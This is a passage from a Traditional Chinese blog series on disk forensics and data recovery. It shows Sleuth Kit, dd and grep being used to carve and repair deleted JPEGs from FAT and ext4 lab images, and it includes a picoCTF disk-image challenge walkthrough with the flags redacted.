TSK 的猜測,不是紀錄。這張碰巧連續所以猜對了,第 3 關就不會了, 順便把兩種檔案系統的刪除擺在一起: 1. ext4 刪除:inode 整張清空,位置全沒了(第一課親眼看到的,只剩 journal 有備份) 2. FAT 刪除:格子只被塗掉第一個字,第一格和大小都還在,只有帳本的鏈被清成 0 FAT 活著的時候資訊比 ext4 少,死了以後反而留得多。 ```bash icat -o 2048 roulab-recovery-1.img 38 > ~/lab/out/L1.jpg cp ~/lab/out/L1.jpg /mnt/d/Download/ file ~/lab/out/L1.jpg ``` 打得開,通關碼 `Redacted`,第 1 關過。 ## Step 4:第 2 關,沒有名字 0002 連目錄格子都沒有,`fls`、`istat`、`icat` 全部沒用,它們都靠帳本,手上唯一剩的線索是內容本身。 要靠內容找,得先知道 JPEG 長什麼樣,拿第 0 關那張好的看頭尾: ```bash xxd -l 16 ~/lab/out/L0.jpg xxd ~/lab/out/L0.jpg | tail -1 ``` ``` 00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001 ......JFIF...... 000369b0: bf56 f57e 67ff d9 .V.~g.. ``` 每張 JPEG 都是 `ff d8 ff` 開頭、`ff d9` 結尾,這叫 file signature,是檔案格式層的東西,跟檔案系統無關,所以帳本沒了它還在。 這裡把兩個詞分清楚,後面都會用到: 1. 檔案系統(ext4、FAT32、NTFS):管「檔案放在磁碟哪裡」的帳本規則 2. 檔案格式(JPEG、PNG):檔案內容本身怎麼排 帳本怎麼記是檔案系統的事,內容長什麼樣是檔案格式的事,救援時兩層都要看。 第一課用 `grep -a -b` 在整顆碟找文字,這次找的是 bytes,換個寫法: ```bash LC_ALL=C grep -obUaP '\xff\xd8\xff' roulab-recovery-1.img ``` ``` 2083328:��� 2307072:��� 2520576:��� 42991616:��� ``` `-o` 只印命中的、`-b` 印 byte offset、`-P` 讓你用 `\xff` 寫 byte。 四個,接下來是排除法:四個裡面有三個是認識的照片,剩下的才是 0002,換算跟第一課一樣:byte offset ÷ 512 = 整顆碟的 sector 號,再減 2048 = istat 顯示的 sector 號。 1. 2083328 → 4069 − 2048 = 2021 → IMG\_0000 的第一格 2. 2307072 → 4506 − 2048 = 2458 → \_MG\_0001 的第一格 3. 2520576 → 4923 − 2048 = 2875 → \_MG\_0003 的第一格(等一下 istat 39 會看到) 4. 42991616 → 83968 − 2048 = 81920 → 離大家都遠,沒人認領 81920 就是 0002 的頭。 順便留個疑點:碟上明明還有一張 IMG\_0004.JPG 好好活著,為什麼只命中四個?先記著,第 4 關回來看。 知道從哪開始,但沒有目錄格子告訴你它多大,那就找尾巴:從 42991616 往後找到的第一個 `ff d9`。 ```bash LC_ALL=C grep -obUaP '\xff\xd9' roulab-recovery-1.img | awk -F: '$1 > 42991616 {print $1; exit}' ``` ``` 43224787 ``` 新手坑:「往後找」成立的前提是檔案連續,你把頭到尾中間整段當成 0002,靠的是它從頭到尾躺在連續的位置上,檔案碎成兩段時,第二段可能在頭的前面、也可能隔很遠,「從頭往後找第一個 ff d9」就會切到別人的尾巴,這是 carving 的天生限制,第 3 關會親手撞一次。 切出來,43224787 是 `ff` 的位置,`d9` 在它後面一個,所以尾巴要 +2: ```bash dd if=roulab-recovery-1.img of=~/lab/out/L2.jpg bs=1 skip=42991616 count=$((43224787 + 2 - 42991616)) status=none cp ~/lab/out/L2.jpg /mnt/d/Download/ file ~/lab/out/L2.jpg ``` 打得開,通關碼 `Redacted`,這關沒用到任何帳本,純靠檔案格式救回來的。 真實世界多一個坑:相機拍的 JPEG 裡面會內嵌一張縮圖,縮圖自己也有 `ff d9`。「第一個 ff d9」可能是縮圖的尾巴,切出來只有一張小圖,這顆靶碟沒放縮圖,真相機的記憶卡就有。 ## Step 5:第 4 關,壞掉的檔頭 (先拿0004) 回到疑點:IMG\_0004.JPG 帳本說它活得好好的,但 `ff d8 ff` 搜不到它,照第 0 關的流程走: ```bash icat -o 2048 roulab-recovery-1.img 41 > ~/lab/out/L4.jpg file ~/lab/out/L4.jpg xxd -l 16 ~/lab/out/L4.jpg ``` ``` L4.jpg: data 00000000: 0000 0000 0010 4a46 4946 0001 0100 0001 ......JFIF...... ``` `file` 認不出來,因為簽名沒了,只有前 4 個 byte 變成 0,第 5 個 byte 開始的 `0010 4a46 4946` 跟第 0 關一模一樣,圖片檢視器也是先看這 4 個 byte 決定要不要理它。 這種「只壞開頭一小段」很常見:壞軌剛好在第一個 sector、或別的檔案短暫蓋過去,剩下 99.9% 的資料都是好的,只是沒人肯開。 修法是把那 4 個 byte 補回去,該補什麼,第 0 關那張的開頭已經告訴你了。對著複本寫,證物不動: ```bash printf '\xff\xd8\xff\xe0' | dd of=~/lab/out/L4.jpg bs=1 conv=notrunc status=none file ~/lab/out/L4.jpg cp ~/lab/out/L4.jpg /mnt/d/Download/ ``` `conv=notrunc` 是關鍵:只覆蓋前 4 byte,不把檔案截斷,打得開,通關碼 `Redacted`。 ## Step 6:第 3 關,碎成兩半 (再拿0003) 最難的一關,先撞牆,再拆。 ```bash istat -o 2048 roulab-recovery-1.img 39 | head -20 icat -o 2048 roulab-recovery-1.img 39 > ~/lab/out/L3-naive.jpg file ~/lab/out/L3-naive.jpg ``` ``` Directory Entry: 39 Not Allocated Size: 202464 Name: _MG_0003.JPG Sectors: 2875 2876 2877 2878 ... L3-naive.jpg: JPEG image data, JFIF standard 1.01, ... 1024x768, components 3 ``` `istat` 說一串連號、`file` 說是正常的 JPEG、大小也對,儀器全部亮綠燈,打開,只有上半張,下半張是雜訊。 ![](https://taiwanding.com/content/images/2026/09/fig8-fragment-vs-guess.jpg) 真實情況:0003 寫到一半時,有別的檔案(`_ID_0001.BIN`)插進來佔了後面的位置,0003 的後半只好跳到更後面去,帳本本來記得這個跳躍,刪除時被清成 0,TSK 只能從 2875 一路往後數,數到前半結束後,接下來拿到的就是 BIN 的亂數。JPEG 解碼器解到亂數就放棄,所以你看到半張。 要修,得回答兩個問題。 ### 前半在哪裡結束 線索就是插隊的那個檔案,它也有目錄格子,編號 40: ```bash istat -o 2048 roulab-recovery-1.img 40 | head -14 ``` ``` Directory Entry: 40 Not Allocated Size: 409600 Name: _ID_0001.BIN Sectors: 3073 3074 3075 3076 ... ``` 它從 3073 開始,Size 409600 剛好是 800 格(409600 ÷ 512 = 800),佔 3073 到 3872。 那 0003 的前半就是 2875 到 3072:3072 − 2875 + 1 = 198 格 × 512 = 101376 bytes,這段是連續的,也是 TSK 猜對的部分。 ### 後半在哪 想想 0003 當初是怎麼被寫的:寫到 3072 發現下一格被 BIN 佔了,FAT 的習慣是「找下一個空格繼續」,而 BIN 後面的第一個空格是 3873,最合理的猜測:後半從 3873 開始,連續躺到結束。 但這是猜測,要驗證,方法第 2 關學過了:如果後半真的從 3873 開始、長度剛好是剩下的 bytes,那 `ff d9` 就應該出現在算出來的那個位置,不多不少。 剩下的 bytes:202464 − 101376 = 101088。÷512 = 197 格餘 224,最後一格只用 224 bytes,剩下 288 bytes 是空的,跟第 0 關 437 格裝 223671 一樣,最後一格永遠不會剛好填滿。 `ff d9` 預期的位置: (2048 + 3873) × 512 + 101088 − 2 = 3132638 ![](https://taiwanding.com/content/images/2026/09/fig9-ffd9-ruler.jpg) 三段各自一件事: 1. (2048 + 3873) × 512 把「分割區的第 3873 格」變成整顆 image 的 byte offset。第 2 關那個換算的反向:那時 ÷512 再 −2048,現在 +2048 再 ×512,得到 3031552,後半的起點。 - 101088 從起點走完整個後半,走到 3132640,這個數字是「檔案結束後的第一個 byte」,不在檔案裡。 2. − 2 檔案最後兩個 byte 是 `ff d9`,`d9` 在 3132639、`ff` 在 3132638。grep 回報的是 `ff` 的位置,所以退 2。 驗證: ```bash LC_ALL=C grep -obUaP '\xff\xd9' roulab-recovery-1.img | awk -F: '$1 > 3031552 {print $1; exit}' ``` ``` 3132638 ``` 一個 byte 都不差,這種「剛好」不會是巧合:從 3873 起算、走 101088 bytes,最後兩個 byte 剛好是 JPEG 的結尾記號,後半的位置和長度同時被證實。 ### 接起來 三個數字都驗證過了:前半 2875 起 198 格、後半 3873 起 101088 bytes。兩個 dd,輸出接在同一個檔後面: ```bash ( dd if=roulab-recovery-1.img bs=512 skip=$((2048+2875)) count=198 status=none; dd if=roulab-recovery-1.img bs=1 skip=3031552 count=101088 status=none ) > ~/lab/out/L3.jpg file ~/lab/out/L3.jpg ls -l ~/lab/out/L3.jpg cp ~/lab/out/L3.jpg /mnt/d/Download/ ``` 前半整格整格拿,用 bs=512;後半尾巴不滿一格,改 bs=1 精準切,`ls -l` 顯示 202464,跟目錄格子上的 Size 一樣,打開,下半張回來了,通關碼 `Redacted`。 ## 結語 這顆靶碟教的五件事: 1. 救援要看兩層:檔案系統的帳本、檔案格式的內容,帳本壞了靠格式找(第 2 關),格式壞了靠帳本找到再修(第 4 關) 2. FAT 刪除只塗掉檔名第一個字,第一格和大小都還在,比 ext4 留得多,所以連續的檔案 icat 直接救得回來 3. `Not Allocated` 底下的 Sectors 是 TSK 從第一格往後數出來的猜測,不是紀錄。工具亮綠燈不代表對 4. carving 的前提是檔案連續,碎掉的檔案,要靠鄰居的格子和檔案格式的尾巴一起把第二段找回來 5. 每個猜測都要驗證,算出來的位置和 grep 找到的對上一個 byte 都不差,才算成立 Happy Carving! ### 磁碟底層與資料救援(二):不用 strings | grep,用鑑識流程解 picoCTF Disk, disk, sleuth! URL: https://taiwanding.com/ci-die-di-ceng-yu-zi-liao-jiu-yuan-er-bu-yong-strings-grep-yong-jian-shi-liu-cheng-jie-picoctf-disk-disk-sleuth/ Last updated: 2026-09-19T06:36:19.000Z 聲明:本文是 picoCTF「Disk, disk, sleuth!」的解題記錄,所有操作都在下載的 image 檔上進行,不會碰到真實硬碟。 ## 為什麼第二課是實戰 第一課的碟是自己造的:檔案自己放、inode 自己查、block 自己算,這一課換一顆「別人的碟」:picoCTF 2021 的 Disk, disk, sleuth!,一個小型 Linux 系統的硬碟 image,題目只說裡面有一個 flag, 先講清楚:這題用 `strings image | grep picoCTF` 三秒就出來,但這篇不走那條,走的是鑑識的流程——看結構、列名單、縮範圍、最後才碰內容,flag 是順便的,流程才是要帶走的。 ## 環境 工具還是 Sleuth Kit,題目檔下載後,如果是在 WSL,Windows 的下載資料夾要透過 `/mnt/` 拿: ```bash cp /mnt/d/Download/dds1-alpine.flag.img.gz ~/lab/ && cd ~/lab gunzip dds1-alpine.flag.img.gz ``` Sleuth Kit 的工具名有規則,看懂就不用背:第一個字母是「看哪一層」,後面是「做什麼」。 1. 前綴:`mm` \= 分割表,`f` \= 檔名,`i` \= inode,`blk` \= block,`j` \= journal 2. 後綴:`ls` \= 列出來,`stat` \= 印詳細資料,`cat` \= 把內容倒出來 所以 `mmls` \= 列分割表,`fls` \= 列檔名,`istat` \= 看一張 inode,`icat` \= 倒一個檔案的內容。 ![](https://taiwanding.com/content/images/2026/09/fig5-sleuthkit-naming.jpg) ## Step 1:看結構 ```bash mmls dds1-alpine.flag.img ``` ``` DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors Slot Start End Length Description 000: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 001: ------- 0000000000 0000002047 0000002048 Unallocated 002: 000:000 0000002048 0000262143 0000260096 Linux (0x83) ``` 跟第一課自己切的那顆長得一模一樣:第 0 格是分割表、1 到 2047 是 1 MiB 對齊留白、分割區從 2048 開始,260096 個 sector 約 127 MiB,類型 0x83 Linux。 重點:記住 2048,後面每個指令都要用 `-o 2048` 告訴工具「分割區從這裡開始」,跟第一課 losetup 的 `-o` 是同一件事,只是單位是 sector 不是 byte。 ## Step 2:列根目錄 ```bash fls -o 2048 dds1-alpine.flag.img ``` ``` d/d 10161: home d/d 11: lost+found r/r 12: .dockerenv d/d 2033: bin d/d 8129: boot d/d 6097: dev d/d 16257: etc d/d 28449: lib ... d/d 26418: root ... d/d 20324: var V/V 32513: $OrphanFiles ``` `d/d` 是資料夾、`r/r` 是檔案,冒號前是 inode 編號,兩個線索: 1. `.dockerenv` 這不是裝在實體機上的 Linux,是一個 Docker container 被倒成硬碟 image,container 通常很乾淨,多出來的東西會很顯眼。 2. `$OrphanFiles` Sleuth Kit 自己加的虛擬資料夾,放「inode 還在、但名單上已經沒名字」的檔案,刪一半的、被藏的東西會出現在這,真實案子裡也是第一批要看的地方。 以「有人故意藏東西」來想,優先順序:`root`(登入者的家)、`home`(有沒有其他使用者)、`$OrphanFiles`。 ## Step 3:一格一格翻,還是整顆倒出來 fls 後面接 inode 編號,就是「列這個資料夾裡面的東西」: ```bash fls -o 2048 dds1-alpine.flag.img 26418 # root fls -o 2048 dds1-alpine.flag.img 10161 # home ``` 兩個都是空的,空的也是資訊:root 沒被用過、沒有其他使用者。 一格一格翻適合摸清結構,實務上第一步是整顆倒出來:`-r` 遞迴到底、`-p` 印完整路徑,存成檔案,之後所有判斷都在這個清單上做。 ```bash fls -o 2048 -r -p dds1-alpine.flag.img > listing.txt wc -l listing.txt grep -c '^\*' listing.txt ``` ``` 1973 listing.txt 0 ``` 1973 個項目,0 個開頭有 `*`(被刪掉但名字還在名單上的),所以 flag 是以正常檔案的身分放著的,不用走復原那條路,問題只是「在哪」, ## Step 4:排除「有人新增的目錄」 container 預設幾個目錄應該是空的,從清單裡看它們底下有沒有東西: ```bash grep -E ': (home|root|tmp|opt|srv|mnt|media)(/|$)' listing.txt ``` 只印出目錄本身那幾行,沒有多出來的檔案,所以放 flag 的人沒走「新增檔案」那條懶路,東西藏在現有檔案裡,或塞在不顯眼的路徑。 ## Step 5:時間線 換一個真正鑑識會用的角度:時間,image 是一次建好的,兩千個檔案的修改時間會擠在同一段;之後被人動過的,時間會脫隊。 `fls -l` 每行多印四個時間和大小,再用 sort 照修改時間排: ```bash fls -o 2048 -r -p -l dds1-alpine.flag.img | sort -t$'\t' -k3 | tail -15 ``` 新手坑:`-l` 的欄位順序是「類型 編號」、「路徑」、然後才是修改時間,所以是第 3 欄不是第 2 欄,我第一次用 `-k2` 排,結果整排都是 `var/` 開頭——那是照路徑排的。 ``` r/r 30729: lib/modules/.../tcp_vegas.ko 2021-02-17 04:55:28 ... r/r 28871: lib/modules/.../scsi_transport_fc.ko 2021-02-17 04:55:28 ... r/r 28598: lib/modules/.../poly1305_generic.ko 2021-02-17 04:55:28 ... d/d 8129: boot 2021-02-17 04:55:29 ... r/r 8136: boot/ldlinux.sys 2021-02-17 04:55:29 ... r/r 8137: boot/ldlinux.c32 2021-02-17 04:55:29 ... r/r 8138: boot/syslinux.cfg 2021-02-17 04:55:29 ... 219 ``` 全部 04:55:28,只有 `boot` 底下晚一秒,時間線在這題幫不上太多——整顆碟是腳本一秒內產出的,不是人用了很久的機器,container image 都這樣。 但這個「晚一秒」還是能讀:最後被動的是開機設定 `boot/syslinux.cfg`,219 bytes 的純文字,想藏在「看起來是系統檔、但其實是人手寫的」地方,這種小設定檔剛好合適,反正它很小,直接看。 ## Step 6:讀內容 ```bash icat -o 2048 dds1-alpine.flag.img 8138 ``` ``` DEFAULT linux SAY Now booting the kernel from SYSLINUX... SAY picoCTF{Redacted} LABEL linux KERNEL /boot/vmlinuz-virt APPEND ro root=/dev/sda1 rootfstype=ext3 initrd=/boot/initramfs-virt ``` `SAY` 是開機時印一行字給使用者看的指令,第一行是正常的,第二行不是開機設定該有的東西。 順便看 `APPEND` 那行的 `rootfstype=ext3`:這顆碟是 ext3,跟 ext4 同一家,一樣有 journal,第三課會用到。 ## 那暴力搜可不可以? 可以,而且有三種,各有涵蓋不到的地方: 1. `strings image | grep picoCTF` 直接掃整顆碟,連被刪的、journal 裡的舊版、沒被任何檔案佔用的空格子都掃到,範圍最大,缺點:檔案碎掉時字串會斷;flag 被 base64、壓縮、拆成兩半就看不到。 2. `tsk_recover` 照名單把每個檔案 icat 出來、用原本路徑存到資料夾,等於「把每張 inode 都倒一遍」的迴圈,之後用一般 grep、find 去搜,「照地圖走」,每個檔案的邊界都對,碎掉的也會拼好,但只涵蓋名單上有的東西。 ```bash tsk_recover -o 2048 -a dds1-alpine.flag.img out/ grep -r picoCTF out/ ``` `-a` 只倒正常檔案,`-e` 連 orphan 和被刪的一起倒,這題倒出 1565 個檔案,比 listing 的 1973 少,差的是資料夾和 symlink,那些沒有內容可倒, 3\. 縮範圍 就是這篇走的路,慢,但不依賴「知道 flag 長什麼樣」。 ![](https://taiwanding.com/content/images/2026/09/fig6-search-coverage.jpg) 關鍵句:真實案子沒有 `picoCTF{`,你要找的可能是一封信、一個帳號、某天晚上發生了什麼,不知道長什麼樣的東西 grep 不到,專業做法是兩條並行:靠假設縮範圍,同時拿已知關鍵字掃整顆碟,互相印證,這篇練的是前者。 ## 結語 ![](https://taiwanding.com/content/images/2026/09/fig4-investigation-funnel.jpg) 這一課帶走的四件事: 1. 拿到一顆碟的順序:mmls 看結構 → fls 倒名單 → 排除 → 縮範圍 → 最後才 icat 看內容 2. 空的目錄、0 個刪除檔,都是資訊,每一步都在縮小範圍 3. 時間線是鑑識的基本功,這題剛好沒用,但排序前先確認欄位在第幾欄 4. 暴力搜是正規手法,不是作弊,但要知道它漏哪裡 Happy Hunting! ### 磁碟底層與資料救援(一):檔案刪除後,資料去哪了? URL: https://taiwanding.com/ci-die-di-ceng-yu-zi-liao-jiu-yuan-yi-dang-an-shan-chu-hou-zi-liao-qu-na-liao/ Last updated: 2026-09-19T06:36:18.000Z 聲明:本文所有操作都在一個 100MB 的普通檔案上進行,不會碰到你電腦的真實硬碟,請勿把文中任何指令的目標改成 `/dev/sda` 這類實體裝置 這篇做四件事: 1. 用一個 100MB 的檔案當假硬碟,親手分割、格式化 2. 不透過檔案系統,直接從硬碟上把檔案內容挖出來 3. 刪掉檔案,看「刪除」到底做了什麼 4. 在檔名、inode 都沒了的情況下,把檔案救回來 我踩過的坑會用「新手坑」標出來,那才是這篇的重點。 ## 環境 WSL2,任何 Linux 都可以。不需要實體硬碟。 ```bash sudo apt update && sudo apt install -y sleuthkit xxd ``` 三條安全規則: 1. 所有指令的目標只有 `~/lab/disk.img` 或掛在它上面的 `/dev/loop0` 2. 全文不會出現任何 `/dev/sd*` 3. 每個指令下去之前,先看一眼目標是什麼——這個習慣比任何工具都重要 ## Step 1:做一顆假硬碟 ```bash mkdir -p ~/lab && cd ~/lab dd if=/dev/zero of=disk.img bs=1M count=100 xxd -a -l 512 disk.img ``` ``` 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ * 000001f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ ``` `disk.img` 是一個 100MB 全 0 的檔案,從現在起我們把它「當成」一顆空白硬碟,跟 WSL 自己的 .vhdx 是同一個把戲:Windows 看它是個檔案,WSL 看它是整顆碟。 `xxd -a` 把重複的零行折成 `*`, 新手坑:dd 印的 `105 MB, 100 MiB` 是同一個數字,廠商標十進位(1TB = 10¹²),系統顯示二進位(1TB 碟顯示 931 GiB),買 1TB「少了 70GB」就是這回事,後面算位置這兩種單位會一直出現。 ## Step 2:硬碟只認識 sector 硬碟不認識檔案,也不認識資料夾,它只認識一格一格編了號的格子,叫 sector,每格 512 bytes, 這顆碟有 204800 格,編號 0 到 204799。 重點:後面所有東西——分割表、檔案系統、刪除的檔案怎麼撈——都只是在回答一個問題:哪一格裝了什麼。 ## Step 3:分割 ```bash printf 'label: dos\n,,L\n' | sfdisk disk.img ``` sfdisk 報告的重點: ``` Disk disk.img: 100 MiB, 104857600 bytes, 204800 sectors Units: sectors of 1 * 512 = 512 bytes ... Device Boot Start End Sectors Size Id Type disk.img1 2048 204799 202752 99M 83 Linux ``` ![](https://taiwanding.com/content/images/2026/09/fig1-sector-partition.jpg) 分割區就是在那排格子上畫一條線:「第 2048 格到第 204799 格算一區」,只是圈了範圍,裡面還是空的。 `disk.img1` 是分割區的名字,慣例跟 `/dev/sda` → `/dev/sda1` 一樣,報告裡的 `disk.img2: Done.` 只是 sfdisk 去看第二個要不要切、發現沒寫就收工,實際只有一個分割區。 表格四個數字: 1. Start 2048:從第 2048 格開始 2. End 204799:最後一格,也是整顆碟的最後一格 3. Sectors 202752:204799 − 2048 + 1 4. Size 99M:202752 × 512 ≈ 99 MiB 新手坑一:2048 跟硬碟大小無關,是固定的,不管 100MB 還是 2TB,現代工具都從第 2048 格開始畫,2048 × 512 = 1 MiB,硬碟/SSD 內部讀寫單位比 512 大,分割區從整數 MiB 開始才不會跨塊,這叫對齊(alignment),換 500MB 的碟,變的只有 End 和 Sectors。 新手坑二:碟 100 MiB、分割區 99 MiB,少的 1 MiB 不是「那張表」,表只佔第 0 格 512 bytes,少掉的是第 0 到 2047 格整段:第 0 格是表,第 1 到 2047 格是對齊留白,2048 × 512 = 1 MiB,剛好。 ## Step 4:讀 MBR 第 0 格叫 MBR,512 bytes,分三段: 1. 前 446 bytes:開機程式碼 2. 接著 64 bytes:分割表,4 筆 × 16 bytes 3. 最後 2 bytes:簽章 `55 AA` ```bash xxd -l 512 disk.img ``` 有東西的只有最後幾行: ``` 000001b0: 0000 0000 0000 0000 bc9c ea4c 0000 0020 ...........L... 000001c0: 2100 83be 320c 0008 0000 0018 0300 0000 !...2........... 000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa ..............U. ``` 第一筆分割表項目從 offset `0x1be` 開始,16 bytes,格式是規格書定死的,就像申請表上「姓名欄 10 格、生日欄 8 格」是印好的,你照格子讀: ``` 第 0 byte 開機旗標(1 byte) 第 1–3 byte 舊定址 CHS(3 bytes,現代不看) 第 4 byte 類型(1 byte) 第 5–7 byte 舊定址 CHS(3 bytes,不看) 第 8–11 byte 起始 sector(4 bytes) 第 12–15 byte sector 數(4 bytes) ``` 用 `-g1` 只印那 16 bytes,一個 byte 一格: ```bash xxd -g1 -s 0x1be -l 16 disk.img ``` ``` 000001be: 00 20 21 00 83 be 32 0c 00 08 00 00 00 18 03 00 ``` ![](https://taiwanding.com/content/images/2026/09/fig2-mbr-entry.jpg) 第 4 個 byte `83` \= 表格裡的 Id 83(Linux)。第 8–11 個 `00 08 00 00`,第 12–15 個 `00 18 03 00`, 這裡三個坑,每個都很小,踩到就全錯: 1. xxd 的兩兩一組只是排版 預設輸出 `0008 0000` 的空格是給人眼看的,跟資料無關,硬碟上是 512 個 byte 連續排成一串,沒有分隔,分組只能靠數 offset,看的時候把空格當不存在。 2. offset 從 0 開始數 第一個 byte 是第 0 個,offset 是「距離開頭幾個 byte」,開頭那個距離是 0,我從 1 數,抓到 `00 00 18 03`,整個歪掉,xxd 左欄 `000001c0` 同理:那行第一個 byte 就是第 `0x1c0` 個。 3. 數字倒著放,而且不能多補 0 `00 08 00 00` 看起來不像 2048(`0x800`),因為電腦把最小的 byte 放最前面,要倒過來讀:`00 00 08 00` → `0x800` → 2048,這叫 little-endian,倒的時候前面的 `00` 可以不寫(`0318` 就是 `318`),但後面不能補 0——我把 `00 18 03 00` 倒成 `03180000`,等於把 31800 寫成 3180000,大 256 倍,正確是 `00 03 18 00` → `0x31800` → 202752 = Sectors。 驗算: ```bash printf '%d\n' 0x800 printf '%d\n' 0x31800 ``` 順便看 `0x1b8` 的 `bc9c ea4c`,倒過來 `0x4cea9cbc` \= sfdisk 報告的 Disk identifier,到這裡 sfdisk 印的每個數字都在 512 bytes 裡找到了。 ## Step 5:格式化成 ext4 分割區只是圈地,要放檔案,得先建一套記帳系統:哪些格子用掉了、每個檔案叫什麼、內容在哪幾格,這套記帳系統叫檔案系統,ext4 是其中一種(NTFS、FAT32 是別種),格式化 = 把空白帳本寫進分割區,指令叫 mkfs。 層次:硬碟 → 分割表 → 分割區 → 檔案系統 → 資料夾和檔案,你自己的系統當年也走過一樣的流程,只是別人做完了。 先給分割區一個裝置檔: ```bash sudo losetup -f --show -o $((2048*512)) disk.img ``` `-o` 是 offset,`2048*512` 就是跳過前面 1 MiB,從分割區起點開始算,印出 `/dev/loop0`(號碼可能不同,下面自行替換),從現在起對 `/dev/loop0` 做的事,都是寫進 disk.img 第 2048 格之後那段, ```bash sudo xxd -a -l 4096 /dev/loop0 sudo mkfs.ext4 /dev/loop0 ``` mkfs 報告要記的一行: ``` Creating filesystem with 101376 1k blocks and 25376 inodes ``` 兩個新詞: 1. block ext4 不用 sector 記帳,它把格子併成 block,這顆碟選了 1k:1 block = 1024 bytes = 2 sectors(碟大一點會選 4k = 8 sectors),從現在起 ext4 內部的位置全是「第幾個 block」,202752 sectors ÷ 2 = 101376 blocks,對得上。 2. inode 每個檔案一張編號的登記卡,記大小、時間、內容在哪幾個 block,25376 inodes = 最多 25376 個檔案,登記卡上沒有檔名,檔名記在資料夾裡,這件事後面很關鍵。 重點:block 大小是 mkfs 決定的,不固定,看任何 ext4 碟第一件事就是問「這顆的 block 多大」,不然後面算位置全錯。 ## Step 6:手動走一遍「開檔案」 ```bash sudo mkdir -p /mnt/lab sudo mount /dev/loop0 /mnt/lab echo "hello disk forensics" | sudo tee /mnt/lab/secret.txt sync ls -li /mnt/lab ``` ``` 11 drwx------ 2 root root 12288 Sep 3 12:13 lost+found 13 -rw-r--r-- 1 root root 21 Sep 3 12:20 secret.txt ``` `-i` 印 inode 號碼:secret.txt 是 13 號(11 號 lost+found 是 mkfs 自己建的),`sync` 確保資料真的落到碟上,Linux 會先放記憶體。 你打 `cat secret.txt`,作業系統背後做三步: 1. 去資料夾查「secret.txt 是幾號 inode」→ 13 2. 翻 13 號 inode,看「內容在第幾個 block」 3. 算出那個 block 在碟上的位置,去讀 bytes 現在用手做,第一步 `ls -li` 做完了,第二步用 Sleuth Kit 的 `istat`,它不透過檔案系統,直接讀碟上的 inode: ```bash sudo istat /dev/loop0 13 ``` ``` inode: 13 Allocated ... size: 21 num of links: 1 Inode Times: Accessed: 2026-09-03 12:20:49 (CST) File Modified: 2026-09-03 12:20:49 (CST) Inode Modified: 2026-09-03 12:20:49 (CST) File Created: 2026-09-03 12:20:49 (CST) Direct Blocks: 8705 ``` 大小 21、四個時間、內容在第 8705 個 block,沒有檔名。 第三步:block 1024 bytes,內容從第 8705 × 1024 個 byte 開始。 ```bash sudo xxd -s $((8705*1024)) -l 64 /dev/loop0 ``` ``` 00880400: 6865 6c6c 6f20 6469 736b 2066 6f72 656e hello disk foren 00880410: 7369 6373 0a00 0000 0000 0000 0000 0000 sics............ ``` 再進一步,不透過 loop0,直接在 disk.img 裡找同一個位置,要加上分割區起點那 1 MiB: ```bash xxd -s $((2048*512 + 8705*1024)) -l 64 disk.img ``` ``` 00980400: 6865 6c6c 6f20 6469 736b 2066 6f72 656e hello disk foren 00980410: 7369 6373 0a00 0000 0000 0000 0000 0000 sics............ ``` 左邊位置 `00880400` 和 `00980400` 差 `0x100000` \= 1 MiB,正好是分割區起點,整條鏈對上了,後面那堆 0 是 block 有 1024 bytes、檔案只用 21。 重點:你沒開檔案、沒經過檔案系統,純靠「第幾格 × 多大」把內容挖出來了,作業系統只肯幫你處理正常的檔案;檔案被刪、資料夾壞、分割表沒了,它就說找不到,但 inode 和 block 可能都還在碟上,整個資料救援和鑑識,就是在各種壞掉的情況下把這三步接起來。 ## Step 7:刪除實驗 ```bash sudo rm /mnt/lab/secret.txt sync ls -li /mnt/lab sudo xxd -s $((8705*1024)) -l 64 /dev/loop0 ``` ``` 11 drwx------ 2 root root 12288 Sep 3 12:13 lost+found 00880400: 6865 6c6c 6f20 6469 736b 2066 6f72 656e hello disk foren 00880410: 7369 6373 0a00 0000 0000 0000 0000 0000 sics............ ``` 檔案從資料夾消失,內容還在, 刪除只做三件事: 1. 把資料夾裡的名字劃掉 2. 把 13 號 inode 標成「空的,可重用」 3. 把第 8705 格標成「空的,可重用」 它不會把那 1024 bytes 清成 0,因為擦掉要花時間,也沒必要——下次有新檔案直接覆蓋就好。內容會一直躺著,直到某個新檔案被分配到第 8705 格。 重點:資料救援第一鐵律——發現誤刪,立刻停止寫入,每多存一個檔、多開一次瀏覽器,都是在丟骰子看會不會覆蓋到那格。 再看 inode: ```bash sudo istat /dev/loop0 13 ``` ``` inode: 13 Not Allocated ... size: 0 num of links: 0 ... Deleted: 2026-09-03 12:26:10 (CST) Direct Blocks: ``` `Not Allocated`、size 變 0、`Direct Blocks` 空了——ext4 刪除時把「內容在哪幾格」清掉了,但多了一行 `Deleted`:檔案什麼時候被刪的,碟上自己留了時間,對鑑識來說這行很值錢。 ![](https://taiwanding.com/content/images/2026/09/fig3-delete-states.jpg) ### 「rm 就找不回來」是真的嗎? 不是騙人,是說得太粗,「內容還在」和「找得回來」是兩件事,中間差一張地圖。 1. 地圖沒了 我們還撈得到,是因為知道 8705,真實情況你不知道,而 ext4 刪除時把 inode 上的地圖清掉了,一個大檔案散在幾千個不連續的格子,沒地圖,內容全在也拼不回來。 2. 隨時被覆蓋 系統一直在寫 log、暫存、瀏覽器快取,格子隨時會被拿走。 3. SSD 更狠 作業系統會用 TRIM 告訴 SSD「這格空了」,SSD 主動清掉,rm 過幾分鐘內容就真的沒了。 關鍵句:「找不回來」的真正意思不是內容消失,是路標被拆了,對一般實務上八成成立,對會找路標備份、會憑內容特徵掃碟的人不是。 ### inode 被搶走 再放兩個檔案: ```bash echo A | sudo tee /mnt/lab/a.txt >/dev/null sudo cp /mnt/lab/a.txt /mnt/lab/b.txt sync; ls -li /mnt/lab ``` ``` 13 -rw-r--r-- 1 root root 2 Sep 3 12:32 a.txt 14 -rw-r--r-- 1 root root 2 Sep 3 12:32 b.txt 11 drwx------ 2 root root 12288 Sep 3 12:13 lost+found ``` a.txt 拿到 13 號——secret.txt 剛被劃掉的那張卡,「可重用」不是說說,下一個新檔案馬上拿走,卡上原本 secret.txt 的資料已被蓋掉,b.txt 拿到 14,證明複製是做了獨立的新檔案:新 inode、新 block、內容抄一份。 ```bash 